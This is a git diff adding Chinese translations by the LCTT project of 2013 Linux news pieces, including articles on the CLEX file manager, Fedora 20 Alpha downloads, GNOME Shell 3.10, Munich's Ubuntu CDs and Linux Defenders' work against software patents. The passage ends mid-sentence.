file mode 100644 index 0000000000..e0d286c21c --- /dev/null +++ b/published/201309/A Visual History Of The Last 20 Years Of Open Source Code.md @@ -0,0 +1,52 @@ +我是标题党:“高清无码大图”展示开源编程语言的20年历史 +============================================ + +_也许,很多人已经忘记,那时,Emacs Lisp还是最受欢迎的开源编程语言之一……_ + +---------- + +现代计算机的逐渐流行可以追溯到上世纪80年代末、90年代初。个人电脑和后来的因特网相结合,创造出史无前例的信息爆炸,人们有能力在瞬间就连接上地球另一端的同胞。 + +![](http://readwrite.com/files/opencola_wikipedia.jpg) + +上图为开放可乐(Open Cola),一种开源软饮料,感谢维基百科供图。 + +外行人看起来就像是魔法。但对于亲自建立这些系统的人们来说,使用编程语言操纵计算机、服务器、Web服务等等功能,却是如此平常自然。 + +大多数编程语言都是开源的,这意味着任何人都可以使用并添加新的功能。因此,开发者们使用的编程语言不断在发展进化,就如同计算机20年来的显著发展变化一样。没有什么是一成不变的,永远不变的只有变化本身。 + +举个例子来说,你知道在1993年的时候,Emacs Lisp是最受欢迎的开源编程语言之一吗?也许有读者从未听说过Emacs,这是一款在Linux开发者中非常流行的文本编辑器,由自由软件领袖Richard Stallman开发。由于当时在Linux下并没有多少成熟的集成开发环境(IDE),就算有,Linuxer们也不屑于使用,而同时Emacs具有良好的可扩展性,所以很多程序员都用它来写代码。Emacs Lisp就是早期Lisp编程语言的一款衍生品。 + +同样在1993年的第一季度,C语言编写的代码在代码提交总量中占到了51%,位列最受欢迎的开源编程语言。Make——Unix开发者使用的一款工具,[能够将源代码自动生成为可执行程序或库文件][1],1993年它在开发者中的使用比例仅为6%。 + +2013年第一季度,Java成为最受欢迎的开源编程语言,所占比例为12%。C++占比11%,而HTML为10%。 + +所有这些开源编程语言都或多或少影响着新语言的诞生。比如C语言,一直深刻影响着编程语言的变革,像C++、Python、Javascript和Perl都是深受C语言的影响;再比如Java帮助形成了C#的基础,而Python则影响了Ruby。 + +变革还将持续。1993年只有不到40种开源编程语言。到了2013年,语言数量几乎达到100种,而且每天都在诞生新的ideas。 + +看一下移动云计算公司[Kinvey][2]提供的信息图,图中绘制了20年来开源编程语言的历史概况。图表数据来源于[Ohloh.net][3] 和 [黑鸭子软件(Black Duck Software)][4]. + +[Kinvey 注][5]: + +> 我们将1993年以来,排名前16的编程语言在给定单季度的代码提交总量中所占的比例进行了可视化。希望你能和我们一样,发现这张图表的有趣之处——从“一家独大”到“群雄并起”,它真实展现了编程世界的活力。我们还将其他一些感兴趣的数据化成了几个小图:语言种类年度总量、各语言每次提交代码的平均行数、追踪哪些语言影响了其他语言的发展。 + +![](http://readwrite.com/files/open_source_code_history_kinvey_800.jpg) + + +via: http://readwrite.com/2013/09/17/a-visual-history-of-the-last-20-years-of-open-source-code + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 + + +[1]:http://en.wikipedia.org/wiki/Make_(software) +[2]:http://www.kinvey.com/ +[3]:http://www.ohloh.net/ +[4]:http://www.blackducksoftware.com/ +[5]:http://www.kinvey.com/blog/3242/a-brief-history-of-open-source-code-infographic \ No newline at end of file diff --git a/published/201309/Android-Friendly Linux Code Gets Big Boost From Mobile Companies.md b/published/201309/Android-Friendly Linux Code Gets Big Boost From Mobile Companies.md new file mode 100644 index 0000000000..729c288492 --- /dev/null +++ b/published/201309/Android-Friendly Linux Code Gets Big Boost From Mobile Companies.md @@ -0,0 +1,36 @@ +感谢各大移动厂商,感谢android,Linux核心代码迎来大发展! +============================================= + +![](http://www.wired.com/wiredenterprise/wp-content/uploads/2013/09/gtape.png) + +曾经,就在不久以前,那时Google家的[Android还并非Linux][1]…… + +那时,Google的天才们改进Linux核心来建立他们梦想中的移动操作系统,但是负责Linux核心项目的那帮家伙竟然拒绝采纳天才们做出的修改。直到去年年初,一项对新的Linux内核进行的分析才表明,Google已经和Linux社区达成了共识。 + +Linux基金会的年度Linux贡献率调查显示,去年,各大移动厂商对Linux内核的贡献比例一共只占到了4.4%,而今年,这个数字已经达到了11%。 + +![](http://www.wired.com/wiredenterprise/wp-content/uploads/2013/09/infographic.png) + +在Linux的贡献者排名中,Google 2009年的时候还只排在第19位,今年已经从第10位上升到第8。前三名的公司依次是:红帽(Red Hat)、因特尔(Intel)和德州仪器(Texas Instruments)。 + +去年,排在第一的是Microsoft,但随着微软的Hyper-V虚拟机项目中与Linux相关的工作大部分已经结束,微软自然也就被挤出了排名。 + +紧接着,今年年初,内核圈子又因其沟通风格受到了攻击,有人称之为坦率,有人却认为是粗鲁。事情是这样的,一位来自Intel的开发者,名叫莎拉·夏普(Sarah Sharp),这位妹纸竟然在内核圈子的邮件列表中公然[向Linux领袖Linus Torvalds叫板][2]!(译者注:链接我点进去看了,妹纸说Linus你这人说话真特么脏!)事后[她告诉我们说][3]Linux界有时会纵容一种文化:“千万别和妹纸共事”! + +夏普还估计了一下内核开发者中女士的比例,大概只占到1%到3%,这个数字是增是减,我们无从得知,因为Linux基金会并不统计贡献者的性别和种族。 + + +via: http://www.wired.com/wiredenterprise/2013/09/linux/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿] 校对:[jasminepeng][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[jasminepeng]:http://linux.cn/space/jasminepeng + +[1]:http://www.zdnet.com/blog/open-source/googles-android-fork-defended-debated-dissected-again/7067 +[2]:http://www.wired.com/wiredenterprise/2013/07/linus-torvalds-right-to-offend/ +[3]:http://www.wired.com/wiredenterprise/2013/07/sarah_sharp/ \ No newline at end of file diff --git "a/published/201309/CLEX \342\200\223 A Versatile Command Line File Manager With Integrated Command Prompt.md" "b/published/201309/CLEX \342\200\223 A Versatile Command Line File Manager With Integrated Command Prompt.md" new file mode 100644 index 0000000000..38c445b534 --- /dev/null +++ "b/published/201309/CLEX \342\200\223 A Versatile Command Line File Manager With Integrated Command Prompt.md" @@ -0,0 +1,94 @@ +集成命令提示符、堪称“多才多艺”的命令行文件管理器 - CLEX +============================================= + +作为一名系统管理员亦或是一名普通的命令行用户,在文件管理器和命令行之间频繁切换是否时常令你感到沮丧。总有一天,你会倾向于使用一些命令行来代替你所用的图形文件管理器。 + +也许,偶尔你会找到一款不错的命令行管理器,但即使如此,你仍然需要在你的文件管理器和命令行窗口之间来回切换。所以,这个问题并没有真正解决。那么,是否有一款文件管理器能将文件浏览和命令提示符集成在同一个窗口里呢?答案是肯定的,它就是 **CLEX** 。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/clex-main.png) + +###CLEX - 命令行文件管理器 + +CLEX是一款基于命令行的文件管理器,它拥有一个漂亮轻巧的用户界面,提供了非常多的文件管理选项。这款文件管理器的最大优势是它还集成提供了一个命令提示符(在同一个窗口中哦~),通过这个命令提示符,你可以运行常规命令。 + +**注** : 下文中的所有例子均测试于Ubuntu 13.04。 + +###简易教程 + +下图是在我机器上第一次执行CLEX的用户界面 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/clex-1.png) + +可以看到,窗口的上半部分列出了当前工作路径(本例中 **/home/himanshu/** )下的所有的文件和目录。你可以使用上下方向键选择一个文件或目录,接着按下回车进入一个目录。 + +在窗口的下半部分,CLEX提供了一个命令行提示符(在我的测试中为bash),在这里你可以执行任意已经安装好的命令。 + +举个例子,想要打开下图中的图片文件Ubuntu.png,首先,使用方向键选中它: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/clex-2.png) + +然后,Ubuntu.png作为参数,使用命令提示符启动一个已安装好的图片查看器(我机器上装的是gthumb) + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/clex-3.png) + +上述命令执行的同时,图片查看器程序gthumb将图片显示了出来。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/clex-4.png) + +除此以外,CLEX还提供了一系列很好用的快捷键组合,可以按下Alt+M查看。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/clex-5.png) + +可以看到,这些快捷键包括改变当前工作路径,添加书签,查看历史命令,文件名排序,比较目录文件夹等等。 + +下图为查看历史命令的截图: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/clex-6.png) + +比葫芦画瓢,每次根据不同需要,你可以选用相应的快捷键组合。 + +**注** : 退出CLEX的快捷键是Alt+q。 + +###下载/安装 + +下面列出了一些CLEX文件管理器的相关链接: + +- [主页](http://www.clex.sk/about.html) +- [下载](http://www.clex.sk/download/) +- [文档](http://www.clex.sk/help/file_intro.html) + +Ubuntu用户可以直接通过Ubuntu软件中心下载安装。本文中的示例使用的版本是3.15。 + +###优点 + +- 在同一个窗口中整合了文件浏览与命令提示符 +- 提供大量快捷键。包括文件夹比较,文件名排序,查看历史命令等等。 +- 出色的在线文档 + +###缺点 + +- 依赖于CURSES库,需要宽字符集支持。因此通过源码安装的时候可能会导致一些问题。 +- 启动时不稳定,我每次启动时都会出现下图中的警告: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/clex-warning.png) + +###结论 + +CLEX确实是一款特性丰富的命令行文件管理器。集成命令提示符是它的独特卖点。尽管有些小毛病,但瑕不掩瑜。经过一段时间的适应后,CLEX仍是一款省时高效的工具。 + + +via:http://mylinuxbook.com/clex-a-versatile-command-line-file-manager/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[Caroline]:http://linux.cn/space/14763 + +[1]:http://mylinuxbook.com/clex-a-versatile-command-line-file-manager/ +[2]:http://www.clex.sk/about.html +[3]:http://www.clex.sk/download/ +[4]:http://www.clex.sk/help/file_intro.html diff --git "a/published/201309/Canonical Launches \342\200\230Ubuntu Voice\342\200\231 Initiative, Aims to Harness User Feedback.md" "b/published/201309/Canonical Launches \342\200\230Ubuntu Voice\342\200\231 Initiative, Aims to Harness User Feedback.md" new file mode 100644 index 0000000000..5077dc6112 --- /dev/null +++ "b/published/201309/Canonical Launches \342\200\230Ubuntu Voice\342\200\231 Initiative, Aims to Harness User Feedback.md" @@ -0,0 +1,15 @@ +##Canonical公司推出“Ubuntu Voice”,旨在利用用户的反馈 + +今天,Canonical公司发起一项[新倡议](http://design.canonical.com/2013/09/join-in-ubuntuvoice-be-the-voice-of-millions-of-ubuntu-users/),旨在帮助塑造用户想要的Ubuntu的未来。 + +‘Ubuntu Voice’被描述为一个“用户体验网络”,目的在于把Ubuntu用户的意见和热情集中到有能力并且愿意进行测试的测试者上。 + +那些加入到这个测试组的成员必须同意对从Canonical接收到的反馈和消息进行保密。但是,作为加入这个项目的奖励(除了能够塑造一些被2000万用户使用的东西),在测试过程中,将会有额外津贴以及‘Ubuntu幸运奖'。 + +Ubuntu Voice只是用户能够参与到Ubuntu计划的一种最新方式。前期的方案包括了[Ubuntu头脑风暴](http://www.omgubuntu.co.uk/2013/05/ubuntu-brainstorm-to-get-the-boot)、[罕见的调查和投票](http://www.omgubuntu.co.uk/2013/06/ubuntu-design-team-ask-how-do-you-use-search),甚至包括[付费用户测试](http://www.omgubuntu.co.uk/2012/10/near-london-get-paid-to-use-ubuntu)。 + +更多传统的(常常被高估的)方法,比如提交bug报告和协助翻译,这也帮助了用户得出关于操作系统及其特点的反馈。 + +如果您有兴趣加入这个项目,请点击此链接[注册](http://www.omgubuntu.co.uk/2012/10/near-london-get-paid-to-use-ubuntu) + +[via: http://www.omgubuntu.co.uk/2013/09/canonical-launch-ubuntu-voice-initiative] diff --git a/published/201309/Fedora 20 Alpha GNOME Live DVD Download.md b/published/201309/Fedora 20 Alpha GNOME Live DVD Download.md new file mode 100644 index 0000000000..de1aa0440d --- /dev/null +++ b/published/201309/Fedora 20 Alpha GNOME Live DVD Download.md @@ -0,0 +1,52 @@ +Fedora 20 Alpha GNOME Live DVD 开放下载 +================================================================================ +**除了配备3.11版Linux内核,Fedora 20 Alpha GNOME Live DVD还搭载最新的GNOME 3.10 Beta 2桌面环境,为你带来令人瞩目的桌面环境体验,你还在等什么,赶快下载安装先睹为快吧~** + +下载Fedora 20 Alpha GNOME Live DVD的用户可以率先体验全新的面板设计,还有有新的GNOME时钟(应用在日历应用中) 、GNOME文档以及修改后的GNOME Shell预览模式。GNOME Live DVD 还是Fedora的默认桌面环境。 + +Fedora 20以Live DVD/CD ISO 的形式发布,分别提供GNOME、KDE、Xfce、LXDE和MATE等多个版本,每个版本都分别支持32位和64位架构。 + +下载安装Fedora 20 Alpha GNOME Live DVD,请尽情享受我们的桌面奇幻之旅。 + +点击下列链接下载Fedora 20 Alpha GNOME Live DVD。请注意这只是一个alpha 版本,只用于测试目的,不应安装在生产环境中。 + +- [Fedora 20 Alpha (torrent) GNOME Live DVD 32-bit][1][torrent1] [972 MB] +- [Fedora 20 Alpha (torrent) GNOME Live DVD 64-bit][2][torrent2] [960 MB] +- [Fedora 20 Alpha (torrent) KDE Live DVD 32-bit][3][torrent1] [930 MB] +- [Fedora 20 Alpha (torrent) KDE Live DVD 64-bit][4][torrent2] [966 MB] +- [Fedora 20 Alpha (torrent) Xfce Live CD 32-bit][5][torrent1] [630 MB] +- [Fedora 20 Alpha (torrent) Xfce Live CD 64-bit][6][torrent2] [665 MB] +- [Fedora 20 Alpha (torrent) LXDE Live CD 32-bit][7][torrent1] [701 MB] +- [Fedora 20 Alpha (torrent) LXDE Live CD 64-bit][8][torrent2] [736 MB] +- [Fedora 20 Alpha (torrent) MATE Live CD 32-bit][9][torrent1] [734 MB] +- [Fedora 20 Alpha (torrent) MATE Live CD 64-bit][10][torrent2] [770 MB] +- [Fedora 20 Alpha (torrent) Installable DVD 32-bit][11][torrent1] [5.18 GB] +- [Fedora 20 Alpha (torrent) Installable DVD 64-bit][12][torrent2] [5.17 GB] + + +![](http://i1-news.softpedia-static.com/images/news2/Fedora-20-Alpha-GNOME-Live-DVD-Screenshot-Tour-385879-2.jpg) + + +via: http://news.softpedia.com/news/Fedora-20-Alpha-GNOME-Live-DVD-Screenshot-Tour-385879.shtml + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿] 校对:[jasminepeng][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[jasminepeng]:http://linux.cn/space/jasminepeng + +[1]:http://torrent.fedoraproject.org/torrents/Fedora-Live-Desktop-i686-20-Alpha.torrent +[2]:http://torrent.fedoraproject.org/torrents/Fedora-Live-Desktop-x86_64-20-Alpha.torrent +[3]:http://torrent.fedoraproject.org/torrents/Fedora-Live-KDE-i686-20-Alpha.torrent +[4]:http://torrent.fedoraproject.org/torrents/Fedora-Live-KDE-x86_64-20-Alpha.torrent +[5]:http://torrent.fedoraproject.org/torrents/Fedora-Live-XFCE-i686-20-Alpha.torrent +[6]:http://torrent.fedoraproject.org/torrents/Fedora-Live-XFCE-x86_64-20-Alpha.torrent +[7]:http://torrent.fedoraproject.org/torrents/Fedora-Live-LXDE-i686-20-Alpha.torrent +[8]:http://torrent.fedoraproject.org/torrents/Fedora-Live-LXDE-x86_64-20-Alpha.torrent +[9]:http://torrent.fedoraproject.org/torrents/Fedora-Live-MATE-Compiz-i686-20-Alpha.torrent +[10]:http://torrent.fedoraproject.org/torrents/Fedora-Live-MATE-Compiz-x86_64-20-Alpha.torrent +[11]:http://torrent.fedoraproject.org/torrents/Fedora-20-Alpha-i386-DVD.torrent +[12]:http://torrent.fedoraproject.org/torrents/Fedora-20-Alpha-x86_64-DVD.torrent \ No newline at end of file diff --git a/published/201309/GNOME Shell 3.10 Beta 2 Implements New System Status Area.md b/published/201309/GNOME Shell 3.10 Beta 2 Implements New System Status Area.md new file mode 100644 index 0000000000..e43150dca7 --- /dev/null +++ b/published/201309/GNOME Shell 3.10 Beta 2 Implements New System Status Area.md @@ -0,0 +1,35 @@ +GNOME Shell 3.10 Beta 2 引入新的系统状态栏 +========================================================= +最新的GNOME Shell 3.10 beta测试版已经在几天前提供下载,这也带来了很多改进并修复了很多bug。 + +![img](http://i1-news.softpedia-static.com/images/news2/GNOME-Shell-3-10-Beta-2-Implements-New-System-Status-Area-380916-2.png) +GNOME Shell 3.10 Beta2 改进了子菜单的风格,调整了系统活动区的风格,并且为“无需用户名”验证提供支持,实现了新的“关机/结束”当前登录会话的对话框设计,对一些独立的Wayland和X11的二进制代码的编译进行了改善。 + +这个版本也使界面上的滑块更易访问,你将可以通过键盘改变滑块的数值。Dash的帮助提示将不在那些弹窗的应用程式启动时显示,调整了系统状态图标间的空白距离,改善了日历的键盘导航功能和易用性。 + +这个版本是3.10的第二个beta测试版,它支持新的NetworkManager API,系统活动区在锁屏时候会被隐藏,其他登陆的用户在登出后就会被隐藏,而且“Session“这个大大的标题也将从登陆界面中被移除。 + +还有Dash已经能在安装的程序改变时候重新载入“最喜爱的程式”(favorites);关闭工作区的最后一个窗口后,预览模式也将不再被打开;增加了Focus App的DBus模式;设计了一个新的程序选择器;换页的那部分可点击的按钮区域被扩展延伸了;修正了显示消息时候移动的控制栏。 + +感谢Ray、Clovanni、Jasper、Emmamuele的努力,消除了GNOME Shell 3.10 Beta2中的以下几个bug:#706542、 #706654、 #706005、 #706681、 #706841,、#706843、 #707064、 #706262、 #707197 和 #707269。 你可以在[GNOME的Bugzillla][1]的网站中找到它们的说明(当然,不要加#咯)。 + +这个版本中的翻译的进度中,已经有了波兰语、挪威语(波克默尔语)、塔吉克语、 葡萄牙语(巴西)、德语、立陶宛语、加利西亚语(西班牙)、斯洛伐克语、斯洛文尼亚语、加泰罗尼亚语、比利时语。更多具体的细节请查看[官方的更新说明文档][2]。 + +也可以直接从Softpedia[下载GNOME Shell 3.10 Beta2][3],但请谨记这只是一个beta测试版。请不要在生产环境中安装。这个版本只供测试使用。 + + +原文链接: http://news.softpedia.com/news/GNOME-Shell-3-10-Beta-2-Implements-New-System-Status-Area-380916.shtml + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:Chilledheart 校对:[wxy][] + + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[译者ID]:http://linux.cn/space/译者ID +[wxy]:http://linux.cn/space/wxy + +[1]:https://bugzilla.gnome.org/ +[2]:http://ftp.acc.umu.se/pub/GNOME/sources/gnome-shell/3.9/gnome-shell-3.9.91.news +[3]:http://linux.softpedia.com/get/Desktop-Environment/Gnome/GNOME-Shell-49962.shtml \ No newline at end of file diff --git a/published/201309/German City Starts Distributing Free Ubuntu 12.04 CDs to Windows XP Users.md b/published/201309/German City Starts Distributing Free Ubuntu 12.04 CDs to Windows XP Users.md new file mode 100644 index 0000000000..c6b07ee253 --- /dev/null +++ b/published/201309/German City Starts Distributing Free Ubuntu 12.04 CDs to Windows XP Users.md @@ -0,0 +1,67 @@ +德国慕尼黑开始免费向WinXP用户分发Ubuntu12.04光盘 +======================================= + +**眼瞅着明年微软即将终止对WindowsXP的官方支持,德国城市慕尼黑已经开始向当地选出的一些图书馆免费提供Ubuntu12.04 LTS CD光盘。** + +![The Linux CD Distributed by Munich](http://www.omgubuntu.co.uk/wp-content/uploads/2013/09/linuxcd-800_kl.jpg) + +当地政府已经准备好2000张左右的光盘,预计到2014年4月[分发完毕](http://www.muenchen.de/rathaus/Stadtverwaltung/Direktorium/IT-Beauftragte/Aktuelles/linux_cd.html)。 + +此举的初衷是为了避免因废弃电脑导致的电子垃圾问题。既然这些废旧电脑即使升级也跑不动新版的Windows系统,倒不如换一个操作系统,好让它们在岗位上继续“尽职尽责”。 + +大约2000万德国PC用户仍在使用WinXP,慕尼黑政府需要处理的的电子垃圾总数将是惊人的。 + +**这篇新闻是不是有点眼熟?** + +> 等等!有的同学可能注意到了,“矮油~这篇新闻听起来有点耳熟啊。我记得他们不是说要分发Lubuntu来着吗~?” + +恭喜这位同学,你记性真好!没错,六月份的时候,我们的确报道过,他们要分发的是Lubuntu。 + +当时慕尼黑议会决定选择Lubuntu而不是Ubuntu确实有他们的理由: + +- Lubuntu对系统配置的要求更低 +- Lubuntu的界面看起来和WinXP很相似 + +但是从我们上一篇报道到本周该项目举办发布会,短短一段时间,他们确实改变了决定:放弃Lubuntu,选择Ubuntu 12.04LTS。 + +> ‘他们是被Canonical的人给忽悠了’ +> (译者注:Canonical公司是Ubuntu的发行商) + +上面这句话出自Lubuntu成员Nio Wiklund之口,他说正是因为应Canonical公司的要求,慕尼黑政府才最终改变了决定。 + +Ubuntu有长达[5年的社区支持经验](http://www.omgubuntu.co.uk/2011/10/ubuntu-12-04-lts-desktop-to-be-supported-for-five-years),这恰恰是Lubuntu所欠缺的,而Ubuntu发布的Unity环境更是老旧机器更换操作系统的最佳选择,很难说慕尼黑政府做出这样的决定有何不妥。 + +Lubuntu[至少需要](https://wiki.ubuntu.com/Lubuntu#System_Requirements)700MhzCPU和256MB内存。Ubuntu[开发者说](https://help.ubuntu.com/community/Installation/SystemRequirements)700MhzCPU和512MB内存应该就能运行现代Ubuntu桌面系统。 + +我亲自使用过Unity环境,电脑搭载Intel Atom处理器,1G内存,的确,“运行”和“能用”完全是两码事。 + +但我一个人说了不算,所以我把这个问题放到了传说中的twitter上,下面这些是我挑选的一些粉丝回复: + +> **@omgubuntu**欧巴~ 我有一台“韩国桑心”笔记本哦,单核Atom处理器,2G内存呢。12.04跑的挺好的呀,比12.10强多了呢思密达~ +> —— 来自Ashutosh Mishra (@twitosh) 2013年9月14日 + + +> **@omgubuntu**大哥你好 俺2009年买了一台宏基Aspire1,这台老本跑Lubuntu那叫一个爽,极顺滑超流畅! +> —— 来自Dimitri Augusto (@DimitriAugusto) 2013年9月14日 + +> 亲爱的**@omgubuntu** 我的老宏基PC配的是单核AMD闪龙处理器和1G内存。尽管人家是集成显卡,但是Unity环境表现依然给力哦~ +> ——来自Raphael Leroux (@IndriApollo) 2013年9月14日 + +到底哪种选择更好呢?请在评论中告诉我!元芳,你怎么看? + +via: http://www.omgubuntu.co.uk/2013/09/ubuntu-12-04-lts-cds-munich-windows-xp + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[wxy]:http://linux.cn/space/wxy + +[1]:http://www.omgubuntu.co.uk/2013/09/ubuntu-12-04-lts-cds-munich-windows-xp +[2]:http://www.muenchen.de/rathaus/Stadtverwaltung/Direktorium/IT-Beauftragte/Aktuelles/linux_cd.html +[3]:http://www.omgubuntu.co.uk/2011/10/ubuntu-12-04-lts-desktop-to-be-supported-for-five-years +[4]:https://wiki.ubuntu.com/Lubuntu#System_Requirements +[5]:https://help.ubuntu.com/community/Installation/SystemRequirements diff --git a/published/201309/Google Android Is Open Source- LinuxCon.md b/published/201309/Google Android Is Open Source- LinuxCon.md new file mode 100644 index 0000000000..d3e817b11a --- /dev/null +++ b/published/201309/Google Android Is Open Source- LinuxCon.md @@ -0,0 +1,44 @@ +LinuxCon大会:Google Android是开源产品 +======================================= + +_**Google的首席开源执行官在LinuxCon大会上说明了为何Android是开源的以及为何开源是Android成功的关键因素**_ + +9月16日,新奥尔良,LinuxCon大会,负责开源的Google董事Chris DiBona在主题演讲中发布了一条关键信息:Android是一款开源产品。 + +Google在开源社区中能够确保不犯错并一直遵守开源授权的要求,DiBona在这其中发挥了关键作用。DiBona在演讲中介绍,早在2005年,从Android发展战略刚刚开始的时候,其平台的核心基础就是要始终保持开源。 + +2005年,Google面临的困难挑战是如何将它的搜索引擎植入手机。当时,手持设备的市场还很封闭,Google要想进入到手机市场,必须经历一个步履维艰的过程。Google要想确保它的搜索引擎能够轻易部署到每一部手机,在某种程度上,Android就成为了一种尝试。 + +DiBona说,“我们希望人们在使用手机的时候,能拥有和电脑桌面一样的体验,但当时在开源领域并没有这样的产品”。 + +Google希望的是,Android只为用户提供手机所必需的基本功能,DiBona说,Google并不愿因为在手机上搞竞价排名或定制服务而和运营商们无休止地讨价还价。 + +DiBona还说,“手机运营商再也不能靠捆绑销售来竞争了,手机市场必须有一个自由环境。” + +DiBona介绍,Android已经成为Google极其成功的一项成就,而且它每年都在变得更好。他还补充说,目前,新的Android设备每天的激活量已经达到130万台。 + +###Linux + +从Android利用Linux作为自身平台重要的组成部分开始,它们之间就注定结下不解之缘。2010年,Google的Android代码被从Linux核心中[剔除][1]。 + +直到2012年三月[Linux内核3.3][2]发布,Android才最终回到Linux核心代码中。DiBona评论说,他始终认为Linux和Android在一起是个好主意。关于它俩是否应该在一起的争论,这是个很技术的技术问题,涉及到一种叫做[WakeLock][3]的省电机制。 + +争论先放一边,DiBona说,有些人质疑Android是否真的开源,简单一句话就可以证明,屡试不爽。不需要Google的参与甚至许可,任何人都可以在任何设备上安装Android。而正是因为Google在开源许可的授权下开发了Android,以上这一切才能成为事实。 + +DiBona最后总结时强调,是开源造就了Google的Android,开源作为Android的核心观念,早已根深蒂固。 + +via: http://www.eweek.com/mobile/google-android-is-open-source-linuxcon.html + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[Caroline]:http://linux.cn/space/14763 + +[1]:http://www.linuxplanet.com/linuxplanet/reports/7150/1/ +[2]:http://www.datamation.com/open-source/linux-3.3-boosts-linux-mobility.html +[3]:http://developer.android.com/reference/android/os/PowerManager.WakeLock.html + diff --git a/published/201309/HP to Stock Ubuntu Laptops in 1,500 China Stores.md b/published/201309/HP to Stock Ubuntu Laptops in 1,500 China Stores.md new file mode 100644 index 0000000000..ce6845e70a --- /dev/null +++ b/published/201309/HP to Stock Ubuntu Laptops in 1,500 China Stores.md @@ -0,0 +1,38 @@ +惠普在华的1500家门店开始销售Ubuntu笔记本电脑 +===================================== + +**惠普是最新一家在华增加Ubuntu笔记本电脑销售门店的硬件供应商。** + +截至到9月16日,这个PC制造商已经开始向在华的其超过1500家门店供应新推出的两款Ubuntu笔记本电脑。 + +而就在这个消息公布两周前,[戴尔也增加了其销售Ubuntu设备的门店数量][1]。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/09/l-E4X09PA1.png) + +Canonical表示:对于不熟悉Ubuntu操作系统的消费者,惠普会提供“资料包和市场材料以帮助他们选购”,并且"已经有超过4000多名惠普门店工作人员接受了Ubuntu系统培训,以向用户展示该笔记本的各种优势。" + +这两款新的笔记本是: + +- HP Pavilion G14 +- HP Pavilion G15 + +两款笔记本参数相近,分别使用Intel i3和i5处理器,2GB内存,500GB和1TB HDD硬盘。 + +这两款笔记本已于9月16日开始发售,起售价为3799元人民币。 + +似乎硬件厂商们在中国的Ubuntu市场下了很大赌注,尽管[业内专家曾预测中国的PC市场将会经历一场比其他市场更加陡峭的下滑][2]。 + + +via: http://www.omgubuntu.co.uk/2013/09/hp-china-ubuntu-retail-stores-expansion + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Jiefu][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Jiefu]:http://linux.cn/space/Jiefu +[Caroline]:http://linux.cn/space/14763 + +[1]:http://www.omgubuntu.co.uk/2013/09/dell-to-increase-number-of-stores-selling-ubuntu-loaded-laptops +[2]:http://www.cnbc.com/id/100998887 diff --git "a/published/201309/How Linux defenders attack bad software patents before they\342\200\231re approved.md" "b/published/201309/How Linux defenders attack bad software patents before they\342\200\231re approved.md" new file mode 100644 index 0000000000..908c83b623 --- /dev/null +++ "b/published/201309/How Linux defenders attack bad software patents before they\342\200\231re approved.md" @@ -0,0 +1,66 @@ +Linux Defenders怎样先发制人阻止恶意软件专利被批准 +=========================================== + +**_这个小组识别危险的专利并且试着还原它们的本来面目。_** + +![](http://cdn.arstechnica.net/wp-content/uploads/2013/09/linux-penguin.jpg) + +尽管那些“专利蟑螂”发起影响开源软件的诉讼数目与日俱增,但还有一线希望。2011年9月签署了一部法律-《美国发明法案》,它提供了新的途径来阻止未来可能引起诉讼的过于宽泛的软件专利。 + +今天的 LinuxCon的一个会议中,[Linux Defenders][1] 的负责人Andrea Casillas解释了这个组织是如何利用新法律赋予的权利来对抗专利申请。Open Invention Network 的一个项目 Software Freedom Law Center,Linux 基金会以及 Linux Defenders 对每周公布的6000项专利做检查,试图识别出那些对Linux和开源的潜在威胁。然后,这个组织查找一些至少能够废止其中一部分专利申请的先例。 + +下一步就是协同Linux技术专家编纂防御性公共出版物,虽然它们本身不是专利,但它们描述了一项发明,并放入公开档案以阻止覆含该技术的新专利的批准。这些出版物通常有2-3页的技术描述,美国专利商标局的审查员可以在管理可能会失效的先例或者限制新专利申请的范围时阅读参考。 + +“我们将与作者、发明者或者开发者携手合作编写这些出版物,使它们更加有效。” Casillas 说。他一直主张 Linux 社区帮助这个小组发现危险专利并寻找先例。 + +防御性公共出版物是旧的策略,但它将会因为 America Ivents Act 而越来越接近公众的生活。Casillas 解释说:“这是审查人员第一次欢迎公众的互动。任何个人都可以免费递交电子版的关于先例的申请。” + +Linux Defenders 已经编纂好了与来自 Microsoft,Apple和其它公司的专利申请有关的防御性公共出版物。概括来说,Casillas 说防御性公共出版物不是要去迫使某家公司放弃某一专利,而是要迫使某家公司缩小它们申请的专利包括的范围。 + +当被问起 Linux 